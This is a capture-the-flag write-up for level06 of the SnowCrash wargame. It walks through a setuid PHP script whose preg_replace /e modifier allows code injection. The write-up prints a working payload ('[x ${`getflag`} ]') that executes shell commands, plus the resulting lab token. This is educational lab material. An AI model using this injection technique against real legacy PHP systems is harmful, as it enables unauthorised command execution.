# Level06

Once we login as **level06** we get 2 files in our new home directory :

```bash
level06@SnowCrash:~$ ls -l
total 12
-rwsr-x---+ 1 flag06 level06 7503 Aug 30  2015 level06
-rwxr-x---  1 flag06 level06  356 Mar  5  2016 level06.php
```

one binary file called `level06` and one php script called `level06.php` when we execute the binary file we get the following :

```bash
level06@SnowCrash:~$ ./level06
PHP Warning:  file_get_contents(): Filename cannot be empty in /home/user/level06/level06.php on line 4
```

It looks like the binary file is executing.

if we provide an argument to this binary it returns us the following :

```bash
level06@SnowCrash:~$ echo "HEllo there" > /tmp/hello_there
level06@SnowCrash:~$ ./level06 /tmp/hello_there
HEllo there
```

From this we can guess that the command line arguments passed to the binary file `level06` is passed to the **level06.php** and the **level06.php** reads the content of the file and prints it to the standard output.

{% hint style="info" %}
If we pass multiple argument to the binary file ir doesn't seem to do anything more than what we saw with only one argument.
{% endhint %}

In the **level06.php** file we have the following :

```php
<?php
function y($m)
{
    $m = preg_replace("/\./", " x ", $m);
    $m = preg_replace("/@/", " y", $m);
    return $m;
}
function x($y, $z)
{
    $a = file_get_contents($y);
    $a = preg_replace("/(\[x (.*)\])/e", "y(\"\\2\")", $a);
    $a = preg_replace("/\[/", "(", $a);
    $a = preg_replace("/\]/", ")", $a);
    return $a;
}
$r = x($argv[1], $argv[2]);
print $r;
?>

```

{% hint style="info" %}
The **level06.php**'s source code was beautified using [this](http://beautifytools.com/php-beautifier.php) site.
{% endhint %}

### What does the code means ?

It seems the code contain 2 functions and it prints the result returned by the function `x`.

The code first :

* Calls the function `x` with 2 parameters, In our case the first parameter is the file name.
* The function **x** calls [`file_get_contents`](https://www.php.net/manual/en/function.file-get-contents.php)which returns the content of the file as `String`
* It then calls the [`preg_replace`](https://www.php.net/manual/en/function.preg-replace.php)which uses [RegEx](https://en.wikipedia.org/wiki/Regular_expression) to **find** and **replace** specific string patterns.
  * In this case it searches for the pattern `([x ...])`
* Searches for the character `[` and replaces with `(`
* Searches for the character `]` and replaces with `)`

once all the placements are done we return the result which is then used to `print` to the standard output.

While we are at it we can see that the function Y also dows basic RegEx replacements.

### What can we exploit ?

There are some thing we must notice.

1. The version of PHP in the ISO provided for Snow Crash project
2. What happens when we copy the code to a machine with an up to date version of php and execute it.

The version of php in the Virtual Machine (ISO) is **5.3.10.**

When we execute the code using an up to date version of **PHP** we get the folloing error:

```bash
user@user ~/D/_/SnowCrash> php ./php_test.php  level06.c 
Cannot load the ionCube PHP Loader - it was built with configuration API320180731,NTS, whereas running engine is API320190902,NTS
PHP Warning:  preg_replace(): The /e modifier is no longer supported, use preg_replace_callback instead in /home/samad/Desktop/__TMP__/SnowCrash/php_test.php on line 11

```

It says that the `/e` modifier is no longer supported. We can see the `/e` in the above code on line 11 :

```php
$a = preg_replace("/(\[x (.*)\])/e", "y(\"\\2\")", $a);
```

In the official [php dock](https://www.php.net/manual/fr/function.preg-replace.php#73063) they says

> `When preg_replace() is called with the /e modifier, the interpreter must parse the replacement string into PHP code once for every replacement made`

So this means that whatever is parsed is transformed into php code.

An other interesting this we can find in the official [dock](https://www.php.net/manual/en/function.preg-replace.php#replacement) is the definition of `\\2` in the second parameter. It says under the  `replacement` section :

> The string or an array with strings to replace. If this parameter is a string and the `pattern` parameter is an array, all patterns will be replaced by that string. If both `pattern` and `replacement` parameters are arrays, each `pattern` will be replaced by the `replacement` counterpart. If there are fewer elements in the `replacement` array than in the `pattern` array, any extra `pattern`s will be replaced by an empty string.

So from this we understand that any pattern found by the first parameter, the send group of that pattenr will be passed to the function `y`

Here is an exemple using the [`regex101.com`](https://regex101.com/)

![](https://3916360279-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Lz7cVkkSZ47CVXi9iRj%2F-LzApvvz3eKF16a0HK7Q%2F-LzB76ksG2wlS46h3Adg%2Fregex.png?alt=media\&token=cc9adc19-4690-494a-9196-24cd0c848e6f)

So from the pattern from the file **level06.php** (line 11) we know we have to gave something that start with `[x` and end with `]` and whetever inside will be treated as php code.

But this is not as simple as puting anything you want because if we put the followiing code :

```
level06@SnowCrash:~$ echo '[x print "hello"]' > /tmp/flag06
level06@SnowCrash:~$ ./level06 /tmp/flag06
print "hello"
```

It seems to treat our command as a string. After a little bit of research and trial, i have found that the [`complex syntax`](https://www.php.net/manual/en/language.types.string.php#language.types.string.parsing.complex) works.

We can use the [`execution operators`](https://www.php.net/manual/en/language.operators.execution.php)( \` ) to execute shell commands. So to execute the **getflag** program we can use the following command :

```bash
level06@SnowCrash:~$ echo '[x ${`getflag`} ]' > /tmp/getflag06
level06@SnowCrash:~$ ./level06 /tmp/getflag06
PHP Notice:  Undefined variable: Check flag.Here is your token : wiok45aaoguiboiki2tuin6ub
 in /home/user/level06/level06.php(4) : regexp code on line 1
 

```

And this reveals the flag!

{% hint style="info" %}
Here are 3 **Stack Overflow** post that was also helpful for this exercice :

<https://stackoverflow.com/questions/16986331/can-someone-explain-the-e-regex-modifier>

<https://stackoverflow.com/questions/15454220/replace-preg-replace-e-modifier-with-preg-replace-callback>

<https://stackoverflow.com/questions/2596837/curly-braces-in-string-in-php>
{% endhint %}

### Password for next level

So the Password to connect to the account **level07** is `wiok45aaoguiboiki2tuin6ub`

### Command summery

```bash
## Create the file that will be read by level06.php
echo '[x ${`getflag`} ]' > /tmp/getflag06

## Grun the level06 to obtain the flag.
level06@SnowCrash:~$ ./level06 /tmp/getflag06
```
